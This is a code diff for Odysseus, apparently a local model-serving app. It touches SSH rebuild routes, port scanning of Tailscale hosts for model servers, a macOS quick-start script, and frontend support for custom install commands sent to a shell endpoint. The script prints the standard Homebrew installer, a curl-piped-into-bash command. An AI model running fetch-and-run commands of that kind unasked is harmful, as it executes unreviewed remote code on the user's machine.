from routes.cookbook_helpers import _llama_cpp_rebuild_cmd
|
||||
|
||||
body = await request.json()
|
||||
engine = str(body.get("engine") or "llamacpp").strip()
|
||||
if engine != "llamacpp":
|
||||
@@ -1088,7 +1290,11 @@ def setup_shell_routes() -> APIRouter:
|
||||
ssh_port = body.get("ssh_port")
|
||||
cmd = _llama_cpp_rebuild_cmd()
|
||||
try:
|
||||
argv = (_ssh_base_argv(host, ssh_port) + [cmd]) if host else ["bash", "-lc", cmd]
|
||||
argv = (
|
||||
(_ssh_base_argv(host, ssh_port) + [cmd])
|
||||
if host
|
||||
else ["bash", "-lc", cmd]
|
||||
)
|
||||
except ValueError as e:
|
||||
raise HTTPException(400, str(e))
|
||||
try:
|
||||
|
||||
+34
-18
@@ -44,8 +44,7 @@ def discover_tailscale_hosts() -> List[str]:
|
||||
hosts = []
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["tailscale", "status", "--json"],
|
||||
capture_output=True, text=True, timeout=5
|
||||
["tailscale", "status", "--json"], capture_output=True, text=True, timeout=5
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return hosts
|
||||
@@ -154,9 +153,13 @@ class ModelDiscovery:
|
||||
r = httpx.get(f"http://{host}:{port}/api/v1/models", timeout=1.5)
|
||||
if r.is_success:
|
||||
models = (r.json() or {}).get("models")
|
||||
if (isinstance(models, list) and models
|
||||
and isinstance(models[0], dict)
|
||||
and "key" in models[0] and "architecture" in models[0]):
|
||||
if (
|
||||
isinstance(models, list)
|
||||
and models
|
||||
and isinstance(models[0], dict)
|
||||
and "key" in models[0]
|
||||
and "architecture" in models[0]
|
||||
):
|
||||
return "lmstudio"
|
||||
except Exception:
|
||||
pass
|
||||
@@ -192,12 +195,15 @@ class ModelDiscovery:
|
||||
logger.info(f"Scanning {len(hosts)} hosts for models: {hosts}")
|
||||
|
||||
# Well-known ports: 8000-8020 (vLLM, llama.cpp, SGLang, Cookbook),
|
||||
# 1234 (LM Studio), 11434 (Ollama)
|
||||
ports = list(range(8000, 8021)) + [1234, 11434]
|
||||
# 1234 (LM Studio), 11434 (Ollama), 11435 for APFEL as its default port is
|
||||
# occupied by Ollama. The env vars can add more ports which will be merged in.
|
||||
ports = list(range(8000, 8021)) + [1234, 11434, 11435]
|
||||
ports += [p for p in sorted(self._extra_ports) if p not in ports]
|
||||
targets = [(h, p) for h in hosts for p in ports]
|
||||
|
||||
seen_models = set() # dedupe by (port, model_ids) to avoid same machine via different IPs
|
||||
seen_models = (
|
||||
set()
|
||||
) # dedupe by (port, model_ids) to avoid same machine via different IPs
|
||||
|
||||
with ThreadPoolExecutor(max_workers=50) as pool:
|
||||
futures = {pool.submit(self._check_port, h, p): (h, p) for h, p in targets}
|
||||
@@ -212,7 +218,9 @@ class ModelDiscovery:
|
||||
# Sort by host then port for consistent ordering
|
||||
items.sort(key=lambda x: (x["host"], x["port"]))
|
||||
|
||||
logger.info(f"Discovered {len(items)} model endpoints across {len(hosts)} hosts")
|
||||
logger.info(
|
||||
f"Discovered {len(items)} model endpoints across {len(hosts)} hosts"
|
||||
)
|
||||
return {"hosts": hosts, "items": items}
|
||||
|
||||
def get_providers(self) -> Dict[str, Any]:
|
||||
@@ -223,15 +231,23 @@ class ModelDiscovery:
|
||||
|
||||
if self.openai_api_key:
|
||||
openai_models = [
|
||||
"gpt-5.2-codex", "gpt-4o-mini", "gpt-image-1.5",
|
||||
"gpt-4o", "gpt-5.2", "gpt-5.2-pro",
|
||||
"gpt-5.2-codex",
|
||||
"gpt-4o-mini",
|
||||
"gpt-image-1.5",
|
||||
"gpt-4o",
|
||||
"gpt-5.2",
|
||||
"gpt-5.2-pro",
|
||||
]
|
||||
providers.append({
|
||||
"provider": "openai",
|
||||
"items": [{
|
||||
"url": "https://api.openai.com/v1/chat/completions",
|
||||
"models": openai_models
|
||||
}]
|
||||
})
|
||||
providers.append(
|
||||
{
|
||||
"provider": "openai",
|
||||
"items": [
|
||||
{
|
||||
"url": "https://api.openai.com/v1/chat/completions",
|
||||
"models": openai_models,
|
||||
}
|
||||
],
|
||||
}
|
||||
)
|
||||
|
||||
return {"providers": providers}
|
||||
|
||||
+89
-68
@@ -20,14 +20,14 @@ cd "$REPO_DIR"
|
||||
# the command line every run — consistent with how app.py reads them via
|
||||
# python-dotenv. Variables already set in the shell take priority over .env.
|
||||
if [ -f .env ]; then
|
||||
while IFS='=' read -r key value; do
|
||||
[[ "$key" =~ ^[[:space:]]*# ]] && continue
|
||||
[[ -z "${key// }" ]] && continue
|
||||
value="${value%%#*}"
|
||||
value="${value#"${value%%[![:space:]]*}"}"
|
||||
value="${value%"${value##*[![:space:]]}"}"
|
||||
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
|
||||
done < .env
|
||||
while IFS='=' read -r key value; do
|
||||
[[ "$key" =~ ^[[:space:]]*# ]] && continue
|
||||
[[ -z "${key// }" ]] && continue
|
||||
value="${value%%#*}"
|
||||
value="${value#"${value%%[![:space:]]*}"}"
|
||||
value="${value%"${value##*[![:space:]]}"}"
|
||||
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
|
||||
done < .env
|
||||
fi
|
||||
|
||||
# Shell overrides (ODYSSEUS_PORT / ODYSSEUS_HOST) take top priority, then .env
|
||||
@@ -36,7 +36,7 @@ PORT="${ODYSSEUS_PORT:-${APP_PORT:-7860}}" # 7860, not 7000 — macOS AirPlay
|
||||
HOST="${ODYSSEUS_HOST:-${APP_BIND:-127.0.0.1}}" # Set APP_BIND=0.0.0.0 in .env for LAN/Tailscale access.
|
||||
PROBE_HOST="$HOST"
|
||||
if [ "$PROBE_HOST" = "0.0.0.0" ] || [ "$PROBE_HOST" = "::" ]; then
|
||||
PROBE_HOST="127.0.0.1"
|
||||
PROBE_HOST="127.0.0.1"
|
||||
fi
|
||||
|
||||
# Friendly message on any failure — re-running is safe (every step is idempotent).
|
||||
@@ -46,20 +46,20 @@ echo "▶ Odysseus quick start for macOS"
|
||||
|
||||
# Fail fast if the port is already taken (e.g. a previous run still running).
|
||||
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
|
||||
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
|
||||
echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
|
||||
exit 1
|
||||
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
|
||||
echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 1. Homebrew — the macOS package manager. We can't safely auto-install it
|
||||
# (it wants its own interactive confirmation), so point the user at it.
|
||||
if ! command -v brew >/dev/null 2>&1; then
|
||||
echo
|
||||
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
|
||||
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
|
||||
echo
|
||||
echo "More info: https://brew.sh"
|
||||
exit 1
|
||||
echo
|
||||
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
|
||||
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
|
||||
echo
|
||||
echo "More info: https://brew.sh"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 2. Find a Python 3.11+ to build the environment with.
|
||||
@@ -72,15 +72,15 @@ fi
|
||||
# (or non-mac) we just use whatever Python 3.11+ is on PATH.
|
||||
PY=""
|
||||
if [ "$(uname -m)" = "arm64" ]; then
|
||||
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
|
||||
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
|
||||
else
|
||||
cands="python3 python3.13 python3.12 python3.11"
|
||||
cands="python3 python3.13 python3.12 python3.11"
|
||||
fi
|
||||
for cand in $cands; do
|
||||
p="$(command -v "$cand" 2>/dev/null)" || continue
|
||||
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
|
||||
PY="$p"; break
|
||||
fi
|
||||
p="$(command -v "$cand" 2>/dev/null)" || continue
|
||||
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
|
||||
PY="$p"; break
|
||||
fi
|
||||
done
|
||||
|
||||
# System dependencies (each installed only if missing, so re-runs stay fast and
|
||||
@@ -98,40 +98,41 @@ done
|
||||
# Install a Homebrew formula only if its command isn't already present. A failed
|
||||
# install warns but does not abort — Cookbook can be set up later.
|
||||
brew_ensure() {
|
||||
if command -v "$1" >/dev/null 2>&1; then
|
||||
echo " ✓ $2 already installed"
|
||||
return 0
|
||||
fi
|
||||
echo " installing $2…"
|
||||
if ! brew install "$2"; then
|
||||
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
|
||||
echo " You can install it later with: brew install $2"
|
||||
fi
|
||||
if command -v "$1" >/dev/null 2>&1; then
|
||||
echo " ✓ $2 already installed"
|
||||
return 0
|
||||
fi
|
||||
echo " installing $2…"
|
||||
if ! brew install "$2"; then
|
||||
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
|
||||
echo " You can install it later with: brew install $2"
|
||||
fi
|
||||
}
|
||||
|
||||
echo "▶ Checking dependencies (Homebrew)…"
|
||||
if [ -n "$PY" ]; then
|
||||
echo " (using $("$PY" --version 2>&1) at $PY)"
|
||||
echo " (using $("$PY" --version 2>&1) at $PY)"
|
||||
else
|
||||
echo " installing python@3.11…"
|
||||
brew install python@3.11 || true
|
||||
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
|
||||
echo " installing python@3.11…"
|
||||
brew install python@3.11 || true
|
||||
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
|
||||
fi
|
||||
brew_ensure tmux tmux
|
||||
brew_ensure llama-server llama.cpp
|
||||
brew_ensure apfel apfel
|
||||
|
||||
if [ -z "$PY" ] || [ ! -x "$PY" ]; then
|
||||
echo "✗ Couldn't find a Python 3.11+ to build the environment with."
|
||||
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
|
||||
exit 1
|
||||
echo "✗ Couldn't find a Python 3.11+ to build the environment with."
|
||||
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# 3. Python environment + dependencies (kept inside the repo, in venv/).
|
||||
# Named `venv` to match the manual steps and build-macos-app.sh, so the
|
||||
# clickable .app reuses this same environment.
|
||||
if [ ! -d venv ]; then
|
||||
echo "▶ Creating Python environment…"
|
||||
"$PY" -m venv venv
|
||||
echo "▶ Creating Python environment…"
|
||||
"$PY" -m venv venv
|
||||
fi
|
||||
VENV_PY="./venv/bin/python3"
|
||||
REQ_HASH="$(md5 -q requirements.txt 2>/dev/null || md5sum requirements.txt | cut -d' ' -f1)"
|
||||
@@ -150,9 +151,9 @@ fi
|
||||
# it got installed (e.g., from an older requirements-optional.txt), remove
|
||||
# it to prevent ChromaDB from silently failing in HTTP-only mode.
|
||||
if "$VENV_PY" -m pip show chromadb-client >/dev/null 2>&1; then
|
||||
echo "▶ Cleaning up conflicting chromadb-client package…"
|
||||
"$VENV_PY" -m pip uninstall -y chromadb-client
|
||||
"$VENV_PY" -m pip install --force-reinstall chromadb
|
||||
echo "▶ Cleaning up conflicting chromadb-client package…"
|
||||
"$VENV_PY" -m pip uninstall -y chromadb-client
|
||||
"$VENV_PY" -m pip install --force-reinstall chromadb
|
||||
fi
|
||||
|
||||
# 4. First-run setup: creates data dirs and prints an initial admin password
|
||||
@@ -161,19 +162,39 @@ fi
|
||||
echo "▶ Preparing Odysseus…"
|
||||
ODYSSEUS_SKIP_RUN_HINT=1 ./venv/bin/python setup.py
|
||||
|
||||
# Local provider bootstrap.
|
||||
# On Apple Silicon macOS, Apfel is treated as a sibling local model server
|
||||
# to Ollama: if Homebrew has it installed, we start its OpenAI-compatible
|
||||
# server on the port next to Ollama, since the default port is 11434 and that's busy (because of ollama).
|
||||
MACHINE_ARCH="$(uname -m)"
|
||||
APFEL_PID=""
|
||||
if [ "$MACHINE_ARCH" = "arm64" ]; then
|
||||
if command -v apfel >/dev/null 2>&1; then
|
||||
APFEL_LOG="${TMPDIR:-/tmp}/odysseus-apfel.log"
|
||||
echo "▶ Starting Apfel server in the background on port 11435…"
|
||||
echo " logging to $APFEL_LOG"
|
||||
nohup apfel --serve --port 11435 >"$APFEL_LOG" 2>&1 &
|
||||
APFEL_PID=$!
|
||||
else
|
||||
echo "▶ Apfel is not installed (brew formula missing); skipping Apfel server bootstrap."
|
||||
fi
|
||||
else
|
||||
echo "▶ Non-ARM macOS detected; skipping Apfel server bootstrap."
|
||||
fi
|
||||
|
||||
# 5. Launch. Bind to loopback by default; opt into LAN/Tailscale with
|
||||
# ODYSSEUS_HOST=0.0.0.0.
|
||||
URL_HOST="$HOST"
|
||||
if [ "$URL_HOST" = "0.0.0.0" ] || [ "$URL_HOST" = "::" ]; then
|
||||
URL_HOST="127.0.0.1"
|
||||
URL_HOST="127.0.0.1"
|
||||
fi
|
||||
URL="http://$URL_HOST:$PORT"
|
||||
TAILSCALE_URL=""
|
||||
if [ "$HOST" = "0.0.0.0" ] && command -v tailscale >/dev/null 2>&1; then
|
||||
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
|
||||
if [ -n "$TS_IP" ]; then
|
||||
TAILSCALE_URL="http://$TS_IP:$PORT"
|
||||
fi
|
||||
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
|
||||
if [ -n "$TS_IP" ]; then
|
||||
TAILSCALE_URL="http://$TS_IP:$PORT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Open the browser automatically once the server is accepting connections — so
|
||||
@@ -182,33 +203,33 @@ fi
|
||||
# ODYSSEUS_NO_OPEN=1 (e.g. over SSH / headless).
|
||||
POLLER_PID=""
|
||||
if [ -z "$ODYSSEUS_NO_OPEN" ] && command -v open >/dev/null 2>&1; then
|
||||
(
|
||||
for _ in $(seq 1 90); do
|
||||
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
|
||||
printf '\n'
|
||||
printf ' ┌────────────────────────────────────────────┐\n'
|
||||
printf ' │ ✓ Odysseus is ready — opening your browser │\n'
|
||||
printf ' │ %-40s │\n' "$URL"
|
||||
printf ' │ (Press Ctrl+C in this window to stop) │\n'
|
||||
printf ' └────────────────────────────────────────────┘\n\n'
|
||||
open "$URL"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
) &
|
||||
POLLER_PID=$!
|
||||
(
|
||||
for _ in $(seq 1 90); do
|
||||
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
|
||||
printf '\n'
|
||||
printf ' ┌────────────────────────────────────────────┐\n'
|
||||
printf ' │ ✓ Odysseus is ready — opening your browser │\n'
|
||||
printf ' │ %-40s │\n' "$URL"
|
||||
printf ' │ (Press Ctrl+C in this window to stop) │\n'
|
||||
printf ' └────────────────────────────────────────────┘\n\n'
|
||||
open "$URL"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
) &
|
||||
POLLER_PID=$!
|
||||
fi
|
||||
|
||||
# Setup is done — drop the setup-failure handler, and clean up the background
|
||||
# opener when the server exits or the user presses Ctrl+C.
|
||||
trap - ERR
|
||||
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null' EXIT INT TERM
|
||||
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null; [ -n "$APFEL_PID" ] && kill "$APFEL_PID" 2>/dev/null' EXIT INT TERM
|
||||
|
||||
echo
|
||||
echo "▶ Starting Odysseus — it will open in your browser at $URL"
|
||||
if [ -n "$TAILSCALE_URL" ]; then
|
||||
echo " Tailscale/LAN URL: $TAILSCALE_URL"
|
||||
echo " Tailscale/LAN URL: $TAILSCALE_URL"
|
||||
fi
|
||||
echo " (this takes a few seconds; press Ctrl+C here to stop)"
|
||||
echo
|
||||
|
||||
+132
-91
@@ -89,8 +89,8 @@ function _setCookbookOpening(on) {
|
||||
].filter(Boolean);
|
||||
if (!on) {
|
||||
_cookbookOpeningSpinners.forEach(({ spinner, wrap, target }) => {
|
||||
try { spinner?.stop?.(); } catch {}
|
||||
try { wrap?.remove?.(); } catch {}
|
||||
try { spinner?.stop?.(); } catch { }
|
||||
try { wrap?.remove?.(); } catch { }
|
||||
target?.classList?.remove('cookbook-opening');
|
||||
});
|
||||
_cookbookOpeningSpinners = [];
|
||||
@@ -595,7 +595,7 @@ function _fallbackCopy(text) {
|
||||
ta.style.cssText = 'position:fixed;left:-9999px;top:-9999px';
|
||||
document.body.appendChild(ta);
|
||||
ta.select();
|
||||
try { document.execCommand('copy'); } catch (_) {}
|
||||
try { document.execCommand('copy'); } catch (_) { }
|
||||
document.body.removeChild(ta);
|
||||
return Promise.resolve();
|
||||
}
|
||||
@@ -628,7 +628,7 @@ function _readStoredEnvState() {
|
||||
|
||||
export function _persistEnvState() {
|
||||
try { localStorage.setItem(LAST_STATE_KEY, JSON.stringify(_envStateForStorage())); }
|
||||
catch (_) {}
|
||||
catch (_) { }
|
||||
_saveTasks(_loadTasks());
|
||||
}
|
||||
|
||||
@@ -681,18 +681,20 @@ async function _fetchDependencies() {
|
||||
|
||||
const _statusTag = (pkg, isLocal, isSystemDep, winBlocked) => {
|
||||
if (winBlocked) return `<span class="cookbook-dep-tag cookbook-dep-na">N/A</span>`;
|
||||
if (pkg.installed && isSystemDep) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
|
||||
if (pkg.installed && pkg.pip_update_available === false) {
|
||||
const hasCustomInstall = !!pkg.install_cmd;
|
||||
const hasCustomUpdate = !!pkg.update_cmd;
|
||||
if (pkg.installed && isSystemDep && !hasCustomUpdate) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
|
||||
if (pkg.installed && pkg.pip_update_available === false && !hasCustomUpdate) {
|
||||
const tip = esc(pkg.update_note || pkg.status_note || 'Found externally; update outside Odysseus.');
|
||||
return `<span class="cookbook-dep-tag cookbook-dep-installed" title="${tip}">Installed</span>`;
|
||||
}
|
||||
if (pkg.installed) return `<button class="cookbook-dep-tag cookbook-dep-installed cookbook-dep-installed-btn" title="Installed — click for actions"><span class="cookbook-dep-installed-label">Installed</span><span class="cookbook-dep-caret">▾</span></button>`;
|
||||
if (isSystemDep) {
|
||||
if (isSystemDep && !hasCustomInstall) {
|
||||
const depTip = esc(pkg.install_hint || 'Install this OS package on the selected server.');
|
||||
const depLabel = pkg.applicable === false ? 'N/A ?' : 'Missing';
|
||||
return `<span class="cookbook-dep-tag cookbook-dep-na" title="${depTip}">${depLabel}</span>`;
|
||||
}
|
||||
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip)}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
|
||||
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
|
||||
};
|
||||
|
||||
const _depRow = (pkg) => {
|
||||
@@ -715,7 +717,7 @@ async function _fetchDependencies() {
|
||||
} else if (pkg.name === 'sglang' && pkg.installed) {
|
||||
_rebuildBtn = `<button type="button" class="cookbook-dep-tag cookbook-dep-rebuild cookbook-dep-reinstall" data-reinstall-pkg="sglang" title="Force-reinstall SGLang (pulls a matching torch). Runs as a tmux task in the Running tab.">Reinstall</button>`;
|
||||
}
|
||||
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
|
||||
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
|
||||
+ `<div class="cookbook-dep-info">`
|
||||
+ `<div class="memory-item-title">${esc(pkg.name)}</div>`
|
||||
+ `<div class="memory-item-meta" style="font-size:10px;opacity:0.5;margin-top:2px;">${esc(pkg.desc)}</div>`
|
||||
@@ -745,7 +747,7 @@ async function _fetchDependencies() {
|
||||
// Shared install/update routine — used by the Install button and the
|
||||
// "Update" item in an installed package's ⋮ menu. `upgrade` adds pip -U;
|
||||
// `statusEl`, when given, shows "Installing…/Updating…" and is disabled.
|
||||
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl) {
|
||||
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl, actionCmd = '') {
|
||||
if (isLocalOnly) {
|
||||
_envState.remoteHost = '';
|
||||
_envState.env = 'none';
|
||||
@@ -790,6 +792,43 @@ async function _fetchDependencies() {
|
||||
envPrefix = 'eval "$(conda shell.bash hook)" && conda activate ' + _shellQuote(_envState.envPath);
|
||||
}
|
||||
}
|
||||
|
||||
if (actionCmd) {
|
||||
const shellCmd = envPrefix ? `${envPrefix} ${actionCmd}` : actionCmd;
|
||||
const fullCmd = (!isLocalOnly && _envState.remoteHost)
|
||||
? _sshCmd(_envState.remoteHost, shellCmd, _getPort(_envState.remoteHost))
|
||||
: shellCmd;
|
||||
try {
|
||||
if (statusEl) { statusEl.textContent = upgrade ? 'Updating...' : 'Installing...'; statusEl.disabled = true; }
|
||||
const res = await fetch('/api/shell/stream', {
|
||||
method: 'POST', credentials: 'same-origin',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ command: fullCmd }),
|
||||
});
|
||||
uiModule.showToast(`${upgrade ? 'Updating' : 'Installing'} ${pkgName} on ${targetHost}...`);
|
||||
const body = await res.text();
|
||||
if (!res.ok) throw new Error(`HTTP ${res.status}`);
|
||||
const exitMatches = [...body.matchAll(/"exit_code":\s*(-?\d+)/g)].map(m => Number(m[1]));
|
||||
const exitCode = exitMatches.length ? exitMatches[exitMatches.length - 1] : 0;
|
||||
if (exitCode !== 0) {
|
||||
throw new Error((body.slice(-500).trim() || `${pkgName} command failed`) + ` (exit ${exitCode})`);
|
||||
}
|
||||
|
||||
if (upgrade) { uiModule.showToast(`Successfully updated ${pkgName} on ${targetHost}.`); } else { uiModule.showToast(`Successfully installed ${pkgName} on ${targetHost}.`); }
|
||||
await _fetchDependencies();
|
||||
return;
|
||||
} catch (err) {
|
||||
if (statusEl) { statusEl.textContent = 'Install'; statusEl.disabled = false; }
|
||||
uiModule.showToast(`${upgrade ? 'Update' : 'Install'} failed: ` + err.message);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Always go through `python -m pip` so the leading token is `python`
|
||||
// — matches the /api/model/serve allow-list (bare `pip` is blocked).
|
||||
// Inside a venv/conda env, `--user` is invalid (pip refuses), so we
|
||||
// only add `--user --break-system-packages` when there's no env —
|
||||
// for PEP-668-locked system pythons (Arch, newer Debian).
|
||||
try {
|
||||
const reqBody = {
|
||||
repo_id: pipName,
|
||||
@@ -828,8 +867,9 @@ async function _fetchDependencies() {
|
||||
btn.addEventListener('click', async (e) => {
|
||||
e.stopPropagation();
|
||||
const pipName = btn.dataset.depPip;
|
||||
const installCmd = btn.dataset.depInstallCmd || '';
|
||||
const pkgName = btn.closest('.cookbook-dep-row')?.querySelector('.memory-item-title')?.textContent || pipName;
|
||||
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn);
|
||||
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn, installCmd);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -852,11 +892,12 @@ async function _fetchDependencies() {
|
||||
const it = document.createElement('div');
|
||||
it.className = 'dropdown-item-compact';
|
||||
it.innerHTML = `<span class="dropdown-icon">${upIco}</span><span>Update</span>`;
|
||||
it.title = `Update ${pkgName} to the latest version (pip install -U)`;
|
||||
it.title = row.dataset.depUpdateCmd ? `Update ${pkgName} using its custom command` : `Update ${pkgName} to the latest version (pip install -U)`;
|
||||
it.addEventListener('click', async (e) => {
|
||||
e.stopPropagation();
|
||||
dropdown.remove();
|
||||
await _installDep(pipName, pkgName, isLocalOnly, true, null);
|
||||
const updateCmd = row.dataset.depUpdateCmd || '';
|
||||
await _installDep(pipName, pkgName, isLocalOnly, true, null, updateCmd);
|
||||
});
|
||||
dropdown.appendChild(it);
|
||||
document.body.appendChild(dropdown);
|
||||
@@ -954,7 +995,7 @@ function _wireTabEvents(body) {
|
||||
// Ignore swipes that start in a horizontally-scrollable tag row — those
|
||||
// should scroll the chips, not flip the tab.
|
||||
if (window.innerWidth > 768 || e.touches.length !== 1
|
||||
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
|
||||
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
|
||||
_sx = e.touches[0].clientX; _sy = e.touches[0].clientY;
|
||||
}, { passive: true });
|
||||
body.addEventListener('touchend', (e) => {
|
||||
@@ -1353,7 +1394,7 @@ function _wireTabEvents(body) {
|
||||
// the section is collapsed (the body's content normally provides
|
||||
// separation; with no body visible, the line gives the h2 definition).
|
||||
dlFold.classList.toggle('is-folded', !folded);
|
||||
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch {}
|
||||
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch { }
|
||||
});
|
||||
}
|
||||
const hfToggle = document.getElementById('cookbook-hf-latest-toggle');
|
||||
@@ -1399,7 +1440,7 @@ function _wireTabEvents(body) {
|
||||
_hwCache[cacheKey] = hw;
|
||||
return hw;
|
||||
}
|
||||
} catch {}
|
||||
} catch { }
|
||||
_hwCache[cacheKey] = { vram: 0, backend: '' };
|
||||
return _hwCache[cacheKey];
|
||||
}
|
||||
@@ -1524,7 +1565,7 @@ function _wireTabEvents(body) {
|
||||
hfInput.addEventListener('change', async () => {
|
||||
const val = hfInput.value.trim();
|
||||
_envState.hfToken = val;
|
||||
try { await _persistEnvState(); } catch {}
|
||||
try { await _persistEnvState(); } catch { }
|
||||
if (val) {
|
||||
_envState.hfTokenConfigured = true;
|
||||
const masked = val.length > 6 ? val.slice(0, 3) + '…' + val.slice(-3) : '••••';
|
||||
@@ -1724,7 +1765,7 @@ function _renderRecipes() {
|
||||
html += '<option value="general" selected>Standard</option><option value="coding">Coding</option>';
|
||||
html += '<option value="reasoning">Reasoning</option><option value="chat">Chat</option>';
|
||||
// Image tab removed — text→image gen is gone from this build (only inpaint
|
||||
// remains, which uses its own settings panel). Vision (multimodal) stays.
|
||||
// remains, which uses its own settings panel). Vision (multimodal) stays.
|
||||
html += '<option value="multimodal">Vision</option></select>';
|
||||
// Engine sits next to the type filter so the "what category / which serving
|
||||
// path" filters live together; Quant + Context are storage-format and budget
|
||||
@@ -1790,12 +1831,12 @@ function _renderRecipes() {
|
||||
// to the curated model list. Sits below the list so it reads as a callout
|
||||
// after browsing, not a header.
|
||||
html += '<div class="hwfit-list-footer" style="margin-top:8px;padding-top:6px;border-top:1px solid color-mix(in srgb, var(--border) 50%, transparent);font-size:9.5px;opacity:0.65;text-align:right;">'
|
||||
+ 'Don\'t see a model? '
|
||||
+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
|
||||
+ 'Request it →'
|
||||
+ '<svg width="11" height="11" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true" style="flex-shrink:0;"><path d="M8 0C3.58 0 0 3.58 0 8a8 8 0 0 0 5.47 7.59c.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>'
|
||||
+ '</a>'
|
||||
+ '</div>';
|
||||
+ 'Don\'t see a model? '
|
||||
+ '<a href="https://github.com/pewdiepie-archdaemon/odysseus/discussions/1962" target="_blank" rel="noopener" style="color:var(--accent,var(--red));text-decoration:none;display:inline-flex;align-items:center;gap:4px;vertical-align:middle;">'
|
||||
+ 'Request it →'
|
||||
